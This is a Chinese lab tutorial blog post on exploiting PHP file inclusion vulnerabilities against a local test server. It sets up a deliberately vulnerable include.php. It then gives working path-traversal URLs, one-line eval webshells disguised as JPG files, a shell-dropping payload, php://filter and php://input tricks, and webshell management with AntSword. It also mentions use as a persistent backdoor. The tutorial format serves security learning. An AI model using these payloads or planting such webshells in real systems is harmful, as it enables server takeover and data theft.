当前位置:网站首页>【文件包含漏洞-03】文件包含漏洞的六种利用方式
【文件包含漏洞-03】文件包含漏洞的六种利用方式
2022-06-25 10:23:00 【像风一样9】
目录
1 文件包含漏洞的利用方式简介
在前两节了解了文件包含及其漏洞的危害后,本节主要讲文件包含漏洞的利用方法。
利用方式:本节内容从以下六方面来分享文件包含漏洞的利用方式。
- 读取敏感文件内容;
- 直接包含图片木马GetShell;
- 包含文件写shell文件再GetShell;
- 利用PHP封装读取敏感文件内容;
- 利用PHP封装传输PHP源码;
- 利用PHP封装执行PHP语句。
2 实验环境及准备
(1)靶机(服务器):本文实验基于WAMP环境进行测试,环境部署过程参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,IP为172.16.1.1。
- 在该环境网站根目录下,新建文件夹FileInclusion,在FileInclusion文件夹下新建以下文件进行实验。
- 新建一个txt文件,输入以下代码,并重命名为include.php。
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2)测试机:真实机.
(3)服务器与真实机都连接了VMnet1。
3 利用方式一:读取敏感文件
3.1 实验简介
目的:了解文件包含漏洞获取服务器本地敏感文件的利用方式。
我们可以利用文件包含漏洞读取任意文件。读取文件的时候有利条件:
- 目标主机文件存在(目标文件的路径,可用绝对路径或相对路径);
- 具有文件的可读权限。
3.2 实验步骤
以获取服务器本地host文件为例,Windows系统下的host文件路径为c:\windows\System32\drivers\etc\hosts
。具体操作步骤如下:
(1)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=c:\windows\System32\drivers\etc\hosts
,网页显示如下,可以看到成功显示服务器本地的host文件内容。
(2)以上是采用绝对路径的写法,如果是采用相对路径,可以多添加几个…\表示上级目录直到根目录,如http://172.16.1.1/FileInclusion/include.php?path=..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
,网页显示如下,同样可以读取host文件。对于Windows系统,采用该方式来读取,如果服务器部署不是在C盘的话,就获取不到了数据了;对于Linux系统,同在一个根目录下,则没有该问题。
4 利用方法二:直接包含图片木马GetShell
4.1 实验简介
目的:通过利用服务器文件包含漏洞,使用中国蚁剑和图片木马(含一句话木马)GetShell。
实验准备:
(1)图片马。在靶机根目录下FileInclusion文件夹下新建一个txt文件,输入<?php @eval($_REQUEST['cmd']);?>
,并命名为muma.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)》
(2)真实机:安装中国蚁剑,参考文章《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。
4.2 实验步骤
(1)真实机使用浏览器访问http://172.16.1.1/FileInclusion/include.php?path=muma.jpg&cmd=print(123456);
,注意结尾有分号,可以看到能激活文件并执行等于号后的内容。
(2)中国蚁剑连接。由于php代码是存在jpg文件中的,如果没有借助其他解析漏洞就没有运行里面的代码,而在上一步中成功利用http://172.16.1.1/FileInclusion/include.php?path=muma.jpg
执行图片马中的PHP语句,因此可以用中国蚁剑来连接它。打开中国蚁剑,添加数据并填写以下资料,点击添加。
(3)管理服务器。添加后在软件主界面可以看到新添加的内容,双击即可管理服务器。
5 利用方法三:包含木马写Shell
5.1 实验简介
目的:利用文件包含漏洞,执行图片马,生成Shell代码。同样地,可以生成其他代码。
实验准备:
(1)图片马。在靶机根目录下FileInclusion文件夹下新建一个txt文件,输入<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
(该代码含义为:在当前目录下创建一个名为shell.php的文件,内容为<?php @eval(\$_REQUEST['cmd'])?>
),并命名为muma2.jpg,就当该文件是攻击者利用文件上传或其他漏洞保存在该位置的吧。可具体参考《【文件上传漏洞-04】服务器端检测与绕过实例(包含MIME类型、后缀名、文件内容)》
(2)真实机:安装中国蚁剑,参考文章《【蚁剑工具-01】网站管理工具之中国蚁剑安装过程详解以及应用实例》。
5.2 实验步骤
(1)真实机浏览器访问http://172.16.1.1/FileInclusion/include.php?path=muma2.jpg,网页显示如下,没有报错。
(2)验证刚刚代码是否执行成功。打开靶机中的test文件夹,可以看到成功生成shell.php文件。
(3)打开蚁剑并连接shell.php。右键添加数据→填写数据。如下所示此处一句话木马位于PHP文件中,可以直接访问而无需再借助文件包含漏洞。新建连接如下。
(4)双击新建的连接,可以成功管理服务器。
6 利用方法四:利用PHP封装协议—读取本地文件
我们可以利用php的file协议访问本地系统文件
6.1 实验简介
目的:该方式与“利用方法一”目的一致,由于存在该方法,所以学习一下。
条件:要求PHP配置文件中将allow_url_include参数配置为On。
6.2 实验步骤
在真实机浏览器输入http://172.16.1.1/FileInclusion/include.php?path=file://c:\windows\System32\drivers\etc\hosts
,可以看到成功读取文件内容。
注意:这种方法与直接读取本地文件类似,为什么还要用这种方法。实战中才能体会。
7 利用方法五:利用PHP封装协议—传输PHP文件
7.1 实验简介
目的:读取网站源代码。上述利用方法一和方法四读取文件的结果,如果其中有PHP代码会被无条件执行,也就是说我们看到的将是PHP代码执行后的结果,如果想要看到PHP代码源码,需要用到此方法。
条件:要求PHP配置文件中将allow_url_include参数配置为On。
7.2 实验步骤
(1)真实机浏览器访问时输入http://172.16.1.1/FileInclusion/include.php?path=php://filter/read=convert.base64-encode/resource=shell.php
,页面显示内容如下。这里是利用PHP伪协议来读取文件,filter表示过滤:read表示读取文件内容,读取方式为convert.base64-encode(读取后的文件进行base64编码),resource后面跟资源文件名。
(2)将显示出来的代码复制。黏贴到在线加解码工具中,即可查看源码。
8 利用方法六:利用PHP封装协议—执行PHP代码(失败,以后再尝试)
8.1 实验简介
目的:在本地或远程没有文件的前提下,直接执行PHP代码。
条件:要求PHP配置文件中将allow_url_include参数配置为On。
8.2 实验步骤
(1)真实机打开BurpSuite,切换到repeater模块,复制上一个实验的URL,右键选择Paste URL as request以URL形式添加请求。点击发送,可以看到响应内容与上一个实验一致。本实验将利用BurpSuite通过该请求来执行PHP代码。
(2)修改path参数为php://input,同时在请求体中添加想要执行的PHP代码<?php phpinfo();?>
,如下图,并点击发送。在响应中显示探针语句执行结果的。
9 总结
(1)关于图片马的几种执行方式总结:
- 利用中间件解析漏洞,不同中间件不同版本的利用方式往往不同。参考以下文章:
《【文件上传漏洞-07】中间件文件解析漏洞概述及实例——Apache、IIS和Nginx》; - 利用.htaccess修改Apache局部配置。参考《.htaccess攻击实验》
- 利用文件包含执行漏洞。参考本文内容。
(2)掌握文件包含漏洞的六种利用方式。
(3)利用PHP的封装协议的前提条件是开启了远程文件包含(PHP配置文件中将allow_url_include参数配置为On),但是一般情况下该项设置是默认关闭的,那么为啥PHP的封装协议又有什么用途呢?主要是用于打CTF,以及作为一个永久控制的后门。
参考文献
《php://》介绍各类伪协议如下。
边栏推荐
- Deep understanding of JVM - JVM memory model
- Google Earth Engine (Gee) - evaluate réalise le téléchargement en un clic de toutes les images individuelles dans la zone d'étude (certaines parties de Shanghai)
- How to build a wechat applet? How to open an applet?
- A five-year technical Er, based on the real experience of these years, gives some suggestions to the fresh students
- 【动态规划】—— 数字三角形
- 服务端渲染
- Think about it
- 我希望按照我的思路尽可能将canvas基础讲明白
- Flask博客实战 - 实现侧边栏文章归档及标签
- The path of Architects
猜你喜欢
随机推荐
Basic usage and principle of schedulemaster distributed task scheduling center
Tutorial on installing SSL certificates in Microsoft Exchange Server 2007
2022-06-24:golang选择题,以下golang代码输出什么?A:1;B:3;C:4;D:编译失败。 package main import ( “fmt“ ) func mai
Basic use and cluster construction of consult
CSRF攻击
性能之网络篇
Is it safe to open an account with Guangzhou securities by mobile phone?
【论文阅读|深读】DRNE:Deep Recursive Network Embedding with Regular Equivalence
Garbage collection mechanism
This is enough for request & response
西门子PLCS7-200使用(一)---开发环境和组态软件入门
Google Earth Engine (Gee) - evaluate réalise le téléchargement en un clic de toutes les images individuelles dans la zone d'étude (certaines parties de Shanghai)
String longest common prefix
Use of Siemens plcs7-200 (I) -- Introduction to development environment and configuration software
NuxtJS实战案例
OpenCV学习(一)---环境搭建
Floating window --- create a system floating window (can be dragged)
The path of Architects
垃圾回收机制
Google Earth engine (GEE) - evaluate enables one click batch download of all single images in the research area (some areas in Shanghai)